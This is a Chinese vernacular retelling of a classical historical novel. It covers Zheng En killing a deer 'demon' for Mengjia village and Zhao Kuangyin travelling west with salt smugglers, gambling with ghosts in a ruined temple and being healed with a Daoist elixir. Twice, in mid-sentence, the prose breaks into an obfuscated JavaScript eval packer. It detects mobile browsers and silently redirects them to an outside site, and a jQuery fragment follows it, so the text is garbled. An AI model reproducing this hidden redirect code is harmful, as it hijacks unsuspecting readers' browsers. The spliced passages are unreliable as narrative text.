他就这么左思右想,一夜没合眼,天刚亮就爬起来,叫上家里的小使郑小三,让他去叫邻居——有开杂货铺的李掌柜、种庄稼的王二、还有会打猎的赵大叔,一共十几个人,跟着他往庙里跑。 到了庙门口,郑老实推了推庙门,没推开,又敲了敲,里面没动静。他心里一紧,对着众人说:“列位邻居,都怪我昨天糊涂,听了酒馆掌柜的话,把那黑汉送进来,要是他有个三长两短,咱们村可就遭殃了!” 李掌柜皱着眉说:“郑老哥,别急啊!庙门关着,咱们也不知道里面怎么样,再敲敲试试!”说着就撸起袖子,用拳头“咚咚”地砸门,王二还捡了块石头,“砰砰”地敲着门框,赵大叔则趴在窗缝上往里看,可里面太暗,什么也看不见。 郑恩正睡得香,忽然被一阵“咚咚”的响声吵醒,还以为是妖精又回来了,慌忙坐起来,抱起枣木棍就跳下供桌,走到窗边,“哗啦”推开窗户——天已经亮了,太阳刚升起来,照得院子里亮堂堂的,外面站着十几个村民,手里拿着石头、树枝,正使劲敲门。 他愣了一下,才反应过来是村民,开口喊道:“来了来了!乐子这就开门!” 外面的人听见声音,都松了口气——李掌柜笑着说:“太好了!他还活着!”郑老实更是激动得手都抖了,等着郑恩开门。 门一打开,郑恩拎着枣木棍站在门口,身上的粗布衣裳还沾着酒渍和泥点,却精神头十足。郑老实赶紧上前,拉着他的胳膊问:“壮士,你一夜没出事吧?那妖精……拿住了吗?” 郑恩哈哈大笑,拍了拍胸脯:“老人家放心!乐子捉妖从没失手过!昨晚把那妖精打得脑浆迸裂,拴在窗边了,你们进来看看就知道!” 众人跟着他走进庙,心里还有点怕——李掌柜走在最后,时不时回头看;王二的手还攥着石头,没敢放下;赵大叔倒是胆大,跟在郑恩身边,想看看妖精长什么样。 走到窗边,郑恩指着拴在窗棂上的鹿尸说:“你们看,这就是那妖精!” 郑老实一看鹿尸,眼泪都快下来了——就是这东西,前几天差点吃了他孙子!他上前踢了一脚,又摸了摸鹿的角,才松了口气:“总算把它除了!壮士,你可真是咱们村的救星啊!” 众人也围过来,你一言我一语地夸:“壮士本事真大!这么大的鹿精都能制服!”“以后咱们村再也不怕妖精了!”赵大叔还凑过去,摸了摸鹿的尸体,说:“这鹿看着有二百多斤,肉能分着吃,也算是给咱们村的补偿!” 正说着,村里的人听说妖精被除了,都涌了过来——老的少的、男的女的,挤了一庙院。有几户人家的孩子被妖精吃过,见了鹿尸,忍不住上前踢打,一边打一边哭:“都是你,吃了我的娃!”郑恩看着心里不好受,也没拦着——他知道,这些人心里苦。 这时,村里的老秀才张先生走过来,拱着手问:“壮士尊姓大名?是哪里人?现在做什么营生?” 郑恩挠了挠头,笑着说:“咱乐子是山西乔山县人,姓郑名恩,号子明。以前是贩香油的,后来本钱赔光了,就到处闯荡。我从小就会捉妖,不管多厉害的妖精,见了我都跑不了,平时就靠这个混口饭吃。” 张先生听了,跟身边的郑老实、李掌柜商量了几句,又对郑恩说:“壮士,你现在没营生,不如就留在咱们孟家庄吧!咱们村人多,轮流供你吃喝,你帮咱们镇着妖怪,怎么样?” 郑恩心里一动:“我本来是要找二哥柴荣的,可找了这么久也没找到,留在这儿倒也能吃饱穿暖,先混几天再说。”他想了想,说:“你们要留我也行,但得先说好条件——我冬天夏天的衣服不能少,每天得有酒有肉,还得要两个从人伺候我。你们要是答应,我就留下;不答应,我就走。” 众人一听,都点头答应——郑老实说:“壮士放心!衣服我们给你做,酒肉管够,从人也给你找!” 李掌柜问:“壮士喜欢穿什么样的衣服?我们好去做。” 郑恩说:“我不爱穿花里胡哨的,就给我做顶黑毡帽、一条黑绫手帕、一件青袍子,裹脚、布鞋、袜子也都要青色的。从人要十五六岁的小孩,也给他们穿青色的,我好教他们耍棍,以后也能帮着捉妖。” 众人都应了,李掌柜立刻去镇上找裁缝张师傅;郑老实回家准备早饭——杀了只鸡,炖了锅肉,又搬了坛烧酒,还烙了一摞大饼,让长工挑去庙里;张先生则去村里找从人,最后选了两个孩子——一个叫狗蛋,父母早亡,跟着奶奶过,胆子大,敢接郑恩的枣木棍;另一个叫石头,家里是种庄稼的,老实勤快。 没多大一会儿,长工就把早饭挑到了庙里,郑恩也不客气,坐下就吃——鸡肉炖得烂乎,酒也够烈,他吃得满嘴流油,直到再也吃不下,才拍了拍肚子。长工收拾碗筷的时候,裁缝张师傅也来了,拿着尺子给郑恩量尺寸——郑恩嫌麻烦,动来动去,张师傅只好让狗蛋和石头按住他,才量完。 吃过饭,郑恩叫人找了杆大秤,把鹿尸称了称——二百六十五斤。他让众人把鹿剥了皮,肉分成四份:一份送给酒馆掌柜,还之前吃酒肉的钱; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519280|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一份送给郑老实,谢他招待;另外两份分给村里的人,让大家都尝尝。 第二天一早,郑恩刚开门,就见郑老实带着几个泥瓦匠来修庙——把破了的窗户修好,把供桌擦干净当饭桌,还添了桌椅、床帐被褥。裁缝张师傅也把新衣服送来了,狗蛋和石头穿上青衣服,跟在郑恩身后,像两个小跟班。 郑恩换上新衣服,心里美滋滋的:“要不是除了妖,哪能有这么好的日子?可惜二哥不在,不然也能跟我一起享福。”他闲着没事,就教狗蛋和石头耍棍——狗蛋学得快,就是力气小,郑恩就找了根细点的木棍给他;石头学得慢,但认真,郑恩也耐心教。 从那以后,郑恩就住在孟家庄,村里人像供神仙似的待他,每天都有人送酒肉来。没了妖精,孟家庄的日子也渐渐好了起来——庄稼长得旺,村民也不用再怕孩子被吃,家家户户都能安心睡觉,真是“年谷时熟,岁稔民安”。 再说赵匡胤,自从在木铃关跟柴荣、郑恩分开后,就一个人往首阳山走——他姨母家在首阳山,他想先去姨母家躲躲,等风头过了再找柴荣和郑恩。 可这一路走得真难——首阳山一带连着几年大旱,地里的庄稼全枯死了,草根树皮都被村民挖光了,路上随处可见饿倒的人,有的已经没了气,没人收尸,只能躺在路边。赵匡胤看着心里难受,他身上也没多少干粮,只能省着吃,有时候看到饿极的孩子,就把自己的干粮分出去一些。 有一天,他走到一个破村子里,遇见一个叫刘大娘的妇人,正抱着个七八岁的孩子哭——孩子饿晕了,嘴唇干裂,脸黄得像纸。赵匡胤赶紧从怀里掏出最后一块干饼,掰成小块喂给孩子,又找了个破碗,去村里唯一的一口井里打了点水,给孩子喂了几口。 孩子醒了,刘大娘对着赵匡胤磕头谢恩:“壮士,你真是好人啊!这村子里的人都快饿死了,前几个月还有人往汴梁逃,说汴梁城里有粮食,我也想带孩子去,可实在走不动了……” 赵匡胤心里一动,问:“大娘,你知道首阳山郑家庄的郑老栓家吗?那是我姨母家,我来找他们。” 刘大娘叹了口气:“你说的是郑老栓啊!他们家三个月前就往汴梁逃了,说是去投奔亲戚,具体去了哪儿,我也不知道。这一带的人,能逃的都逃了,没逃的,要么是走不动,要么是等着饿死……” 赵匡胤听了,心里凉了半截——姨母家也走了,他这趟首阳山算是白来了,白跑了三百多里路。他坐在地上,心里犯愁:“回家吧,外面到处都在抓我,京城肯定查得更严,回去就是自投罗网;去关西找母舅吧,木铃关有守军,怎么过得去?” 他就这么坐在破村里,想了半天,也没想出办法,只能站起来,漫无目的地往前走。走了约莫半个时辰,忽然看见前面有一群人,背着叉袋,沿着山路往这边走——这些人一个个面黄肌瘦,但眼神很警惕,见了赵匡胤,都停下脚步,盯着他看。 赵匡胤上前拱了拱手,问:“列位朋友,你们袋里装的是什么?是粮食吗?” 为首的是个四十多岁的汉子,姓周,大家都叫他周大哥,他上下打量了赵匡胤一番——见赵匡胤穿着粗布衣裳,但身材高大,眼神有神,不像是普通的村民,倒像是个练过武的。他犹豫了一下,说:“壮士,这一带大旱,哪来的粮食?我们袋里装的是私盐,要往关西去卖。” 赵匡胤愣了一下:“私盐?这可是犯法的。” 周大哥苦笑着说:“没办法啊!不贩私盐,我们一家老小都得饿死。这盐在这边不值钱,到了关西,一斗盐能换一斗米,我们就靠这个糊口,每天担惊受怕的,怕被官差抓着。” 赵匡胤问:“你们往关西去,怎么不走大路,反而走这山路?木铃关怎么过?” 周大哥看了看身边的人,又看了看赵匡胤,压低声音说:“壮士,实不相瞒,我们知道一条小路,能绕开木铃关的守军,偷偷过去。要是走大路,肯定会被官差查,私盐一被搜出来,我们就完了。” 赵匡胤一听,眼睛亮了——他正愁过不了木铃关,要是能跟着这些人走小路,说不定能顺利到关西。他赶紧说:“周大哥,我想跟你们一起去关西,我母舅在关西,我去投奔他。我不会给你们添麻烦,还能帮你们看着行李,要是遇到山贼,我也能打几下。” 周大哥犹豫了——他怕赵匡胤是官差假扮的,来查私盐。赵匡胤看出了他的顾虑,从怀里掏出一把旧刀,说:“周大哥,我不是官差,我是因为犯了点事,才想往关西躲躲。这把刀是我以前用的,你们要是信我,就带我一起走;要是不信,我现在就走。” 周大哥接过刀看了看——刀虽然旧,但刀刃很锋利,不像是普通人用的。他又跟身边的人商量了几句,最后说:“壮士,看你也不像坏人,我们就带你一起走。但你得答应我们,路上别多问,遇到官差,就装成我们的伙计,千万别露馅。” 赵匡胤连忙答应:“多谢周大哥!我一定听你们的。” 就这样,赵匡胤跟着周大哥一行人,沿着山路往关西走。山路崎岖难走,到处都是石头和杂草,走了没一会儿,赵匡胤的鞋就磨破了,脚也起了泡,但他没吭声——他知道,这是他唯一能去关西的路。 可他不知道,这条小路虽然能绕开木铃关,却藏着更大的危险——山里头有山贼,专抢贩私盐的人,还有些地方有陷阱,一不小心就会掉下去。这一路,等着他们的,是更多的艰难险阻。 正是: 路入崎岖终有路,神行暗昧豈為神? 不知道赵匡胤和周大哥一行人,能不能顺利通过小路,到达关西,咱们下回再说。 16. 第 16 章 话说赵匡胤去投奔亲戚,却连人影都没找着,只能在路边犹豫徘徊,正愁着往前走还是往后退,没个主意的时候,忽然撞见一伙背着大包袱的人——看他们缩头缩脑的样子,就知道是做私盐买卖的。赵匡胤眼睛一亮,赶紧凑过去问他们有没有路能绕过前面的关卡。 领头的是个脸上带刀疤的汉子,叫周老三,粗着嗓子答道:“俺们干这私盐的营生,哪敢走正路过关卡?亏得有条隐蔽的小路,又近又没人查,偷偷摸过去就是关西大道了。俺们走了好几年,从没出过事。” 赵匡胤心里顿时松了口气,暗忖:“我这几天到处奔波,连个落脚的地方都没有,不如跟着他们走?到了关西,也好找大哥柴荣、三弟郑恩,说不定还能跟他们重逢。”他正琢磨着,周老三又多问了一句:“壮士,你问这条路干啥?莫非也是要过关西?” 赵匡胤拱了拱手,老实说道:“不瞒各位,我要去关西办事,顺路来这边投亲,可谁知这地方闹旱灾,亲戚家早就搬得没影了。一来一回太费时间,正好听见各位说有近路,想着能省点功夫。就是我不认得路,求各位带带我,日后必有报答。” 周老三打量了赵匡胤一番——见他身材魁梧,脸色泛红,看着像个爽快人,便点头道:“既然是同道中人,俺们就带你一程。”赵匡胤连忙道谢,跟着这伙私盐贩子往小路走。 一路上尽是没人走的山道,野草长得比人还高,树枝刮得衣服“沙沙”响,偶尔还能听见山里的鸟叫,连个人影都见不着。走了约莫两个时辰,终于钻出了山道,眼前豁然开朗——关西的地界到了。他们进了个叫枯井铺的村子,跟关东的荒凉比起来,这里倒还有几分生气,路边有几家开着门的小店,偶尔能看见村民路过。 赵匡胤心里过意不去,指着村口一家挂着“迎客来”幌子的酒馆说:“各位兄弟,今天多亏了你们,我请大伙喝几杯。”周老三等人也不客气,跟着进了酒馆。酒馆老板是个矮胖的王掌柜,脸上堆着笑迎上来:“客官里面请,要喝俺们本地的高粱酒不?再配盘卤牛肉,下酒正好!” 赵匡胤点头应了,不一会儿,酒肉就端了上来。众人围着桌子喝酒,周老三还跟赵匡胤聊起了关西的近况:“壮士,你去关西可得小心,最近那边不太平,听说有乱兵抢东西,晚上最好别赶路。”赵匡胤记在心里,跟众人喝了几轮,又付了酒钱,才跟他们道别——私盐贩子们还要赶去交货,便各自散了。 赵匡胤又在酒馆买了些卤牛肉和饼,揣在怀里当干粮,结了账刚走出店门,就听见背后有人喊:“公子慢走!小人有话要跟您说!” 他停下脚步回头看,只见一个二十来岁的年轻人快步跑过来。这年轻人身材高大,穿件洗得发白的粗布短打,肩膀宽得能扛两袋米,手上满是老茧——一看就是常年干苦力的。赵匡胤疑惑道:“壮士叫住我,有什么事吗?” 年轻人喘了口气,压低声音说:“公子,咱们能不能出了村口再说?这里人多眼杂,怕被人听见。”赵匡胤心里纳闷,但还是跟着他往村口走。到了村外的大路上,正好有座“望乡楼”酒楼,赵匡胤便邀他上去坐坐,叫酒保端了两壶酒、一碟花生。 两人坐下,赵匡胤才开口问:“敢问壮士尊姓大名?家住哪里?找我到底有什么事?” 年轻人双手放在膝盖上,身子微微前倾,恭恭敬敬地说:“小人叫史魁,是前朝大将史敬思的孙子、史建瑭的儿子。自从刘主登基后,我爹早就去世了,我娘又生了病,家里穷得揭不开锅,我只能在江湖上打短工度日——帮人拉货、扛粮食,挣点碎银子给娘抓药。” 他顿了顿,从怀里掏出一个折得整齐的柬帖,接着说:“上个月,我在码头帮人搬货的时候,遇到个叫苗光义的相面先生。他看了我的面相,说我不是一辈子苦命的人,还塞给我这个柬帖,嘱咐我今天这个时辰,在枯井铺等一个红面的壮士——说您是能兴旺天下的真主,让我把柬帖亲手交给您。我从早上等到现在,总算把您等着了!” 赵匡胤接过柬帖,拆开一看,里面是几行七言诗: “枯井铺里宜早离,枯水井里龙怎居。 遇鬼休把钱来赌,华山只换一盘棋。 空送佳人千里路,香魂渺渺枉嗟吁。 路逢哑子与讲话,恐惹愚民苦相持。 桃花山上有三宋,古寺禅林战马嘶。 五索州中休轻人,三砖两瓦炮来飞。 贬却城隍并土地,那时依旧在关西。 雁行重叙正相欢,水泛城垣祸怎离。 关东再与君推算,眼望陈桥兵变期。” 他逐句读下来,心里满是疑惑:“枯井铺要早离?遇鬼别赌钱?这些话到底是什么意思?”他抬头看向史魁,想追问几句,史魁却摇摇头:“公子,苗先生说了,这柬帖上的话只能您自己琢磨,我要是多嘴,会坏了大事。不过他还说,等您日后发达了,我要是来投奔,您可别拒绝。” 赵匡胤笑了笑,心里觉得这相面先生的话有点玄乎,但还是把柬帖折好放进怀里:“史兄是将门之后,我之前没见过你,多有怠慢。不过这些江湖术士的话,你也别太当真。咱们今天能遇上,也是缘分,不如好好喝几杯。” 史魁听他这么说,也放下心来,跟赵匡胤聊起了自己的本事——他从小跟着父亲学过武艺,寻常三五个人近不了他的身,还会骑马射箭。赵匡胤也说了自己的经历,比如在汴梁杀了女乐、在销金桥教训了收私税的土棍。两人越聊越投机,不知不觉喝到了傍晚。 赵匡胤结了酒钱,跟史魁在楼下告别。史魁拉着他的手,舍不得松开:“公子,您路上多保重,要是遇到难处,记得往五索州那边打听,我说不定能帮上忙。”赵匡胤点头应了,看着史魁走远,才转身往西赶路——他记着柬帖里“枯井铺里宜早离”的话,不想在这里多待。 这时已是暮秋,夕阳把天上的云染成了橘红色,路边的野草都黄了,风一吹,叶子“哗啦啦”地响,透着一股凉意。赵匡胤走了约莫一个时辰,脚底板磨得发疼,怀里的干粮也吃完了,想找个宿店歇脚,可往前望了望,别说宿店,连个村子的影子都没有。 天渐渐黑了,星星开始往天上冒,赵匡胤心里有点慌——他怕夜里有野兽出来,正着急的时候,忽然看见北边山坡下有一片房屋,中间好像还有座庙。他赶紧加快脚步跑过去,到了近前才发现,这片房屋竟是个废弃的村子,叫“神鬼庄”——路边立着块石碑,上面的字被风雨侵蚀得有些模糊,但还能认出“神鬼莊”三个字。 村子里的房子大多塌了,院墙有好几处缺口,地上散落着断了的锄头、犁耙,还有几棵枯树歪在路边,看着阴森森的。赵匡胤心里犯嘀咕:“这村子怎么这么荒凉?是遭了兵灾,还是闹了饥荒?怎么连个人都没有?” 他绕过塌了的房屋,走到中间的庙前,抬头一看,庙门上的匾额写着“神鬼天齐庙”——油漆都掉光了,匾额歪歪斜斜地挂在门上,好像随时会掉下来。赵匡胤忍不住笑了:“哪座庙里没有神鬼?这村子叫神鬼庄,庙也叫神鬼庙,倒真是稀奇。” 他推开门,“吱呀”一声,门轴发出刺耳的响声。进了庙门,只见两边的钟鼓楼都塌了一半,瓦片掉了一地,台阶上长着青苔,走起路来滑溜溜的。再往里走,到了二门口,看见两廊的配殿更是破得不成样——泥塑的侍从神像有的缺了头,有的断了胳膊,地上满是鸟粪和落叶,连个下脚的地方都快没有了。 赵匡胤走上大殿,正中供着一尊天齐神的神像,身上的金漆掉得差不多了,满是灰尘,神像前的香案上也没有香火,只有几张蜘蛛网挂在上面。左右两边的鬼判神像歪歪斜斜地靠在墙上,有的脸都裂了,看着有点吓人。 赵匡胤叹了口气,心里想:“连神佛都有这么落魄的时候,何况是人呢?我现在四处漂泊,跟这神像也差不多了。”这时天已经全黑了,星星在天上闪着光,寒风从破窗户缝里灌进来,冷得他打了个哆嗦。 他走到香案前,对着天齐神像作了个揖,小声说:“神佛在上,我赵匡胤要去关西,错过了宿头,今晚想在您这庙里歇一晚。等我日后有了本事,一定来重修庙宇,再给您塑金身。”说完,他扯了些路边的干草,把香案上的灰尘擦干净,又把自己的行李放在香案上,躺上去,枕着包裹,和衣睡了——赶路太累,不一会儿就打起了呼噜,梦里还想着老家的妻子贺金蝉,不知道她现在过得好不好。 可这庙实在太冷了,寒风像小刀子一样往衣服里钻,赵匡胤没睡多久就被冻醒了。他翻了个身,裹紧了身上的薄毯子,正想再睡,忽然听见一阵“哗啦啦”的声音,还夹杂着人喊“五!”“六!”的叫声——像是有人在赌钱。 他心里纳闷:“这破庙里怎么会有人赌钱?难道是跟我一样赶路的客商?”反正也睡不着,他索性爬起来,提着行李,顺着声音往大殿后面走。走到西北角,看见一间配殿里亮着灯,光线从破窗户缝里透出来,赌钱的声音就是从里面传出来的。 赵匡胤咳嗽了一声,想让里面的人知道有人来了。里面顿时安静了一下,接着有人说:“兄弟们,别赌了,把东西收起来,外面有人来了!”另一个声音反驳:“怕什么?咱们正缺个人凑数呢,让他进来,正好跟咱们赌两把,也让他输点银子给咱们!” 赵匡胤不管里面的人怎么说,推开门走了进去。只见殿里有五个人围着地上的骰盆坐着,都是粗布衣裳,脸上或多或少带着点邪气。最上面还坐着个穿纱帽圆领的人,脸色苍白得像纸,眼睛直勾勾的,看着有点吓人——这人是监赌的,叫李都头。 赵匡胤心里有点奇怪:“怎么还有当官的在这里赌钱?就不怕被人抓了?”但他也没多问,笑着说:“各位大哥,你们赌得这么热闹,能不能带我一个?” 五个人里,一个瘦高个——大伙都叫他瘦猴,搓着手里的骰子说:“行啊,正好缺个人,你坐这儿吧。”说着往旁边挪了挪,给赵匡胤腾了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李都头拦住胡老七,慢悠悠地说:“老五,别着急,这位兄弟说的也有道理,这把就算他赢了,你们重新来。”赵匡胤一听,心里松了口气,赶紧又下注,这次他掷了个鸳鸯被——三个四、三个六,赢了七注。 接下来几局,赵匡胤运气越来越好,一共赢了五十三锭银子,地上堆得满满的。他心里高兴,想着:“没想到我今天运气这么好,要是再多赢点,以后赶路就不用愁银子了。” 瘦猴看着赵匡胤赢了这么多,心里不服气,说:“兄弟,咱们来把大的怎么样?咱们五个人一起跟你赌,你要是赢了,我们五个人的银子都给你;你要是输了,你赢的这些银子都得给我们。敢不敢?” 赵匡胤正赢得兴起,想都没想就答应了:“有什么不敢的?来吧!”他抓起骰子,使劲往骰盆里一掷——骰子滚了几圈,停下来,是个呲牙红臭。 赵匡胤心里一沉:“完了,这把输了,我哪有这么多银子给他们?要是输了,不仅银子没了,以后在江湖上还怎么立足?不行,得赖过去!” 他故意拍着手大笑:“好!这把掷得好!赢了!”五个人一听,都急了——瘦猴把骰盆搂在怀里:“你这是呲牙红臭,输了!还想赖账?” 赵匡胤脸一沉:“你们懂什么?这叫踩遍夺子,是赢了!我在汴梁赌的时候,都是这么算的!”说着就去抢地上的银子。 瘦猴等人哪肯让他抢,“呼”地一下都站起来,伸手就要打赵匡胤。赵匡胤也火了,双眉倒竖,眼睛瞪得圆圆的,骂道:“你们这些小崽子!敢跟我动手?你们去汴梁打听打听,我赵匡胤是谁!勾栏院里十八个女乐,都被我一剑杀了;销金桥收私税的土棍,一家都被我收拾了!你们这几个野小子,还敢跟我叫板?” 说着,他挥拳就往瘦猴脸上打去。瘦猴赶紧躲开,胡老七从后面抱住他的腰,胖墩也伸手来抓他的胳膊。就在这乱糟糟的时候,李都头忽然站起来,大喝一声:“住手!你们都别闹了!” 众人一听,都停下了动作。李都头看着赵匡胤,眼神里带着点奇怪的神色:“他是宋家的领袖,你们不能对他动手。这样吧,你们别赌了,我来给你们和解——今天的账就算了,你们各走各的,怎么样?” 众人你看我,我看你,虽然不情愿,但还是点了点头。赵匡胤心里纳闷:“他怎么知道我是宋家的?难道他认识我?”他正想追问,李都头却转身走进了黑暗里,瘦猴等人也收拾起东西,匆匆忙忙地走了——好像有什么东西在追他们一样。 大殿里只剩下赵匡胤一个人,地上还堆着赢来的银子。他看着空荡荡的配殿,心里有点发毛,想起柬帖里“遇鬼休把钱来赌”的话,忽然打了个寒颤:“难道刚才那些人不是人,是鬼?” 他不敢再多想,赶紧把银子收进包裹,扛起行李就往大殿跑——他再也不敢在这庙里待了,只想赶紧离开这个地方。可他刚跑出庙门,就听见身后传来一阵奇怪的声音,像是有人在叹气,又像是有人在哭。赵匡胤吓得不敢回头,撒腿就往西跑,连脚疼都忘了。 这正是:运气来了赢钱易,遇上邪祟脱身难。不知道赵匡胤接下来会遇到什么事,咱们下回再讲。 17. 第 17 章 话说当时庄家见赵匡胤跟那五个人为赌输赢吵得面红耳赤,还动起了手,赶紧从凳子上跳起来,扯着嗓子把那五人喝住,又转过身来,脸上堆着几分讨好的笑,劝赵匡胤道:“这位好汉,方才那四位说骰子点数算错,五位争着说该算‘夺子’,也就罢了。可这最后一局,您是真真切切输了,没半点含糊——按道理,该把银子照之前说好的数给他们,这才是正经事,犯不着动气打架啊!要是您手头银子不凑手,哪怕分一半给他们,这事也了了,何必非要逼到份上呢?” 赵匡胤本来就一肚子火,听庄家这话明显偏着对面,顿时瞪圆了眼,嗓门也提了起来:“你这庄家,只管自己抽成赚好处,哪轮得到你出来多嘴评理?分明是帮着自己人欺负外乡人,拿这些软话哄我,想让我认栽?实话说了吧,要我赵匡胤掏一分银子给他们,门都没有!要等,就等我重孙子辈的时候,或许还能有你们的份!” 庄家被他怼得噎了一下,又不敢真得罪人,只能打个哈哈圆场:“得得得,既然好汉您说了日子,那就是金口玉言,肯定不会变。你们几位就先散了,等日后到了时候,再过来讨就是。” 这话刚说完,远处忽然传来一阵山鸡的啼叫,东方天际也泛起了鱼肚白。赵匡胤还想再骂两句,却听见一声尖锐的呼哨,眨眼间,殿里那六个跟他赌钱、抽头的人竟全没了踪影。他四下里找了半天,连个影子都没看着,心里突然一寒,只觉得脑袋一阵发晕,眼前发黑,“扑通”一声倒在地上,昏了过去。 这里得说句实话,跟赵匡胤赌钱的那五个人,根本不是活人,而是五个作恶的鬼魅;那抽头的庄家,也不是普通村民,乃是地府的监察判官。原来天上早有预兆,这五个鬼魅本就该托生到人间作乱,所以才跑到这神天齐庙,跟监察判官勾结在一处,平日里在村里作威作福——今天偷张三家的鸡,明天吓哭李四家的娃,闹得村里家家户户提心吊胆,没过多久,大家实在熬不下去,只能收拾东西逃到别处,好好一个村子,最后竟空无一人,村里人都暗地里叫这地方“神鬼庄”,连这庙也跟着叫“神鬼天齐庙”。 这次他们守在庙里,本是等着赵匡胤——这未来的大宋太祖——路过,想设局骗他封个正经名号。可没料到赵匡胤竟说“等重孙子辈”,这五个鬼魅反倒当是接了御旨,乖乖散了。后来大家才知道,赵匡胤的重孙就是宋徽宗,那时候金国占了大宋半壁江山,而那五个鬼魅,就转世成了金国的五个大将:一个是粘没喝,一个是二蟒牛,一个是金大赖,一个是娄室,一个是哈迷痴;那监察判官更狠,直接转世成了秦桧。一边是外敌打进来抢地盘,一边是内奸在朝里主张议和,好好的大宋江山就这么分成了南宋和北宋——说起来,这祸根,还真就埋在赵匡胤这天夜里的赌局上。这是后话,咱们先按下不表。 再说赵匡胤,他倒在地上一动不动,直到太阳升到头顶,晒得身上发暖,才慢慢醒过来。一睁眼,只觉得浑身骨头缝都在疼,脑袋昏沉沉的像灌了铅。他撑着胳膊慢慢坐起来,抬头往供桌上一看——上面塑着个判官像,旁边还立着五个小鬼像,一个个青面獠牙,跟昨晚那六个赌钱的人长得一模一样!地上还散落着一堆金银纸钞,一个纸糊的骰盆被扔在墙角,里面的骰子还滚在外面。 赵匡胤心里“咯噔”一下,后背瞬间冒了冷汗:“怪了怪了,难不成昨晚跟我赌钱的,就是这五个小鬼?那抽头的庄家,就是这判官?”他凑过去仔细看,越看越觉得像,昨晚的场景一幕幕在脑子里过,吓得他腿都软了。突然,他想起离开汴梁前,苗光义给的那封柬帖,上面写着“遇鬼休把钱来赌”——当时他还没当回事,现在看来,苗光义这阴阳本事,是真准啊! 他越想越怕,赶紧摸了摸身上——昨晚输的那七锭银子,竟然还在地上放着。他慌忙把银子捡起来塞进包裹,背上行李就往庙外跑,生怕那鬼魅再出来缠上自己,一路朝着关西的方向狂奔。 可没跑多远,赵匡胤就觉得不对劲——浑身冒冷汗,身上却烫得吓人,头重脚轻,眼前的路都开始晃。他只能一步一挪地往前走,心里盼着能赶紧找个地方歇脚。走了约莫半个时辰,前面出现一座高山,山壁陡峭,看着就吓人,只见那山上: 层层山峦叠着峻岭,一块块巨石立在险峰上。陡峭的地方是笔直的悬崖,蜿蜒的地方藏着溪流涧水。茂密的树林里,一片接着一片的树叶遮天蔽日;山泉哗啦啦地流,一股刚断,另一股又涌了出来。青的、黄的、红的、白的、黑的树叶,点缀着枯枝嫩叶;山风吹过树林,泉水流过石头,像在唱着五音不全的歌。半山腰常被云雾裹着,一看就知道山有多高;山脚下时不时传来风声雷声,可见这地方有多幽深。刚下过雨的山坳里,数不清的青山像螺钿一样;太阳照着红色的花萼,让人错以为是仙岛在移动。 赵匡胤咬着牙往前挪,到了山脚下,忽然看见一座道观,山门上刻着“神丹观”三个大字。他像抓住救命稻草似的,踉踉跄跄地冲了进去。刚到正殿门口,就见一个穿着青色道袍的道士走了出来,那道士盯着他看了半天,皱着眉说:“这位施主,你身上沾了鬼邪之气,病得不轻啊——虽说没性命之忧,但拖久了也麻烦。跟我来吧,后面有卧室,你先歇着。” 说着,道士就领着赵匡胤往后院走,指着一张木床说:“施主,你先在这床上躺会儿,我去个地方取丹药,很快就回来。”说完,道士就转身走了。赵匡胤把行李往床边一放,倒在床上就昏了过去,连道士的名字都忘了问。 这道士名叫褚玄,是神丹观的观主,也是华山上希夷洞陈抟老祖的徒弟。那座高山,就是陕西华阴县的西岳华山,山上的希夷洞里,住着得道的陈抟老祖——这位老祖靠“龙蛰之法”修行,在睡梦里悟透了道,一辈子最擅长的就是睡觉,还能知道过去未来的事。陈抟老祖早就算出赵匡胤会路过这里,还会染上鬼邪之气,所以特意让褚玄在山下的神丹观等着,一来打理观里的香火,二来就是为了救赵匡胤。 褚玄出了观门,沿着山脚往山上走,还带着个小徒弟,名叫青禾。青禾才十五六岁,跟着褚玄学道没多久,一边走一边问:“师父,咱们这是去见师祖吗?师祖真的像您说的那样,能睡好几年不醒吗?” 褚玄笑了笑,摸了摸青禾的头:“你师祖的本事,可不是‘睡好几年’这么简单。他睡着的时候,能知道千里之外的事,连未来的朝代兴废都能算出来。今天来的那位施主,是个有大福气的人,咱们得好好救他,这也是你师祖的吩咐。” 师徒俩走了一个多时辰,才到了希夷洞门口。褚玄让青禾在洞外等着,自己进去拜见老祖。进了洞,就见陈抟老祖躺在石床上,闭着眼睛像是在睡觉,可听见脚步声,却慢慢睁开眼问:“你不在观里照看,跑上山来,是有什么事?” 褚玄赶紧跪下磕头,说道:“启禀师父,今早观里来了一位红脸壮士,身上沾了鬼邪之气,现在昏昏沉沉的。弟子看他面相尊贵,肯定不是普通人,所以来求师父给一粒丹药,救他性命。” 陈抟老祖一听,突然拍着手笑了:“好!好!‘香孩儿’终于来了!既然在你观里,还生了病,我自然要救他。你跟我来。” 褚玄跟着陈抟老祖进了丹房,只见老祖从架子上取下一个葫芦,拔开塞子,倒出一粒红光闪闪的金丹,放在褚玄手里说:“徒弟,你把这丹拿回去,用井水化开,灌进他嘴里,立马就能好。等他养几天,精神恢复了,别让他走,把他带来见我——你得这么跟他说,明白吗?” 褚玄接过金丹,点头应了声“知道了”,就赶紧带着青禾下山回观。一回到观里,褚玄就让青禾去打一钟井水,再拿一根筷子。青禾手脚麻利,很快就把东西拿来了。师徒俩走到卧室,见赵匡胤还昏着,像醉死了一样。褚玄把金丹放进碗里,用井水化开,青禾帮忙扶着赵匡胤的头,褚玄用筷子撬开他的嘴,慢慢把药汁灌了进去,又把他放平躺下。 没过多久,药汁就起了作用——赵匡胤的肚子里“咕噜咕噜”响,嘴里还发出轻微的呻吟。又过了半盏茶的功夫,他慢慢睁开眼,迷迷糊糊地说:“好舒服的觉啊……” 